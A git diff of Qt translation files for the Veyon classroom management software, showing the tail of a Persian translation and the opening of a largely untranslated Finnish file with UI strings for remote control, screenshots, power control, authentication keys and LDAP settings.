&Help + + + + &Quit + + + + Ctrl+Q + + + + Ctrl+S + + + + L&oad settings from file + + + + Ctrl+O + + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + درباره ویون + + + Auto + + + + Computer rooms + + + + About + درباره + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + دسترسی غیرمجاز است + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + عکس های گرفته شده + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + تنظیم مجدد پیکربندی + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + %1تنظیم کننده + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + فهرست راهنما + + + ... + ... + + + User configuration + پیکربندی کاربران + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + عکس های گرفته شده + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + مخفی کردن کامپیوتر محلی + + + Hide empty rooms + پنهان نمودن اتاق های خالی + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + رابط کاربری + + + Background color + + + + Thumbnail update interval + + + + ms + ام اس + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + ساخته شده در حالت نظارت + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + تست + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + ام اس + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + نام کاربری + + + Password + رمز + + + Veyon Logon + + + + Authentication error + خطا احراز هویت + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + + + + Click this button to reboot all computers. + + + + Power down + خاموش + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + لطفا نام میزبان یا آدرس آی پی کامپیوتر را وارد کنید: + + + Show help about command + نمایش راهنما در مورد این فرمان + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + فقط مشاهده + + + Remote control + + + + Send shortcut + + + + Fullscreen + + + + Window + + + + Quit + + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + ویندوز + + + Menu + فهرست + + + Alt+Ctrl+F1 + + + + Connecting %1 + اتصال٪ 1 + + + Connected. + متصل شد. + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + انتخاب اتاق + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + قفل + + + Unlock + گشودن + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + عکسبرداری از صفحه مانیتور + + + Screenshot of %1 computer have been taken successfully. + تصاویری از رایانه٪ 1 با موفقیت انجام شده است. + + + Take screenshots of computers and save them locally. + عکسبرداری از رایانه های شبکه و ذخیره آنها در محلی مناسب. + + + + ScreenshotManagementView + + User: + کاربر + + + Date: + تاریخ + + + Time: + زمان + + + Show + نمایش + + + Delete + حذف + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + تمام عکسهای گرفته شده توسط شما در اینجا فهرست شده است. شما می توانید عکس ها را با کلیک روی آیتم "Screenshot" در منوی بالایی یک کامپیوتر بگیرید. تصاویر را می توان با استفاده از دکمه های زیر مدیریت کرد. + + + Computer: + کامپیوتر + + + + ServiceConfigurationPage + + General + عمومی + + + Autostart + + + + Hide tray icon + + + + Start service + سرویس فعال شد + + + Stopped + متوقف شده + + + Stop service + سرویس متوقف شد + + + State: + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + شبکه + + + Demo server port + + + + Enable firewall exception + اضافه کردن استثنا به دیوار آتش + + + Allow connections from localhost only + اجازه ارتباط فقط برای کامپیوتر محلی + + + Internal VNC server port + پورت سرور VNC داخلی + + + VNC server + سرور vnc + + + Plugin: + پلاگین : + + + Restart %1 Service + راه اندازی مجدد٪ 1 سرویس + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + تمام تنظیمات با موفقیت ذخیره شدند. برای به تأخیر انداختن سرویس٪ 1 باید مجددا راه اندازی شود. دوباره راه اندازی کنید؟ + + + Running + در حال اجرا + + + Feature manager port + پورت مدیریت ویژگی + + + Primary service port + پورت خدمات اصلی + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + سرویس در حال اجرا است + + + Service is not running + سرویس اجرا نمی شود + + + Configure and control Veyon service + پیکربندی و کنترل سرویس ویون + + + Register Veyon Service + ثبت سرویس های ویون + + + Unregister Veyon Service + عدم ثبت سرویس های ویون + + + Start Veyon Service + شروع سرویس ویون + + + Stop Veyon Service + توقف سرویس ویون + + + Restart Veyon Service + راه اندازی مجدد سرویس ویون + + + Query status of Veyon Service + بررسی وضعیت سرویس ویون + + + Commands for configuring and controlling Veyon Service + شامل فرمان هایی برای پیکربندی و کنترل سرویس ویون + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + آیکن کنار ساعت + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + ارسال پیام متنی + + + Use the field below to type your message which will be sent to all selected users. + از فیلد زیر برای تایپ پیام خود استفاده کنید که به تمامی کاربران انتخاب شده ارسال می شود. + + + + TextMessageFeaturePlugin + + Text message + پیام متنی + + + Use this function to send a text message to all users e.g. to assign them new tasks. + برای ارسال یک پیام متنی به همه کاربران از این تابع استفاده کنید، برای مثال آنها را به وظایف جدید اختصاص دهید. + + + Message from teacher + پیام از معلم + + + Send a message to a user + ارسال یک پیام به یک کاربر + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + ضبط کردن پنجره های لایه ای (نیمه شفاف) را فعال کنید + + + Poll full screen (leave this enabled per default) + نظرسنجی تمام صفحه (این را در پیشفرض فعال کنید) + + + Low accuracy (turbo mode) + دقت پایین (حالت توربو) + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + عدم دسترسی نوشتن + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + تنظیمات شخصی شما ذخیره نشد لطفا مسیر پرونده پیکربندی کاربر را با استفاده از پیکربندی ٪ 1 بررسی کنید. + + + + UserSessionControl + + User session control + کنترل جلسه کاربر + + + Click this button to logout users from all computers. + برای خروج از کاربران از همه رایانه ها، روی این دکمه کلیک کنید. + + + Confirm user logout + خروج کاربر مورد تایید است. + + + Do you really want to logout the selected users? + آیا واقعا می خواهید از کاربران انتخاب شده خارج شوید؟ + + + Logout + + + + + VeyonCore + + [OK] + [تایید] + + + [FAIL] + [عدم موفقیت] + + + Invalid command! + دستور نا معتبر! + + + Available commands: + دستورات موجود: + + + Invalid arguments given + استدلال های نامعتبر داده شده است. + + + Not enough arguments given - use "%1 help" for more information + استدلال های کافی نیست - برای اطلاعات بیشتر از "٪ 1 کمک" استفاده کنید + + + Unknown result! + نتیجه ناشناخته! + + + Available modules: + ماژول های موجود: + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + ایجاد اتصال به٪ 1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + پلاگین اجرای توابع انتزاعی برای پلت فرم ویندوز + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + x11vnc پیکربندی داخلی سرور + + + Custom x11vnc parameters: + پارامترهای x11vnc سفارشی: + + + Do not use X Damage extension + از X Damage extension استفاده نکنید + + + \ No newline at end of file diff --git a/translations/fi.ts b/translations/fi.ts new file mode 100644 index 0000000..daab2bc --- /dev/null +++ b/translations/fi.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + + + + Translation + Käännös + + + License + Lisenssi + + + About Veyon + + + + Contributors + + + + Version: + + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + + + + ... + + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + + + + Host address/IP + + + + MAC address + + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + + + + Host address + + + + MAC address + + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + + + + Stop demo + + + + Window demo + + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + + + + Always for this session + + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + + + + Language: + + + + Use system language setting + + + + Veyon + + + + Logging + + + + Log file directory + + + + ... + + + + Log level + + + + Nothing + + + + Only critical messages + + + + Errors and critical messages + + + + Warnings and errors + + + + Information, warnings and errors + + + + Debug messages and everything else + + + + Limit log file size + + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + 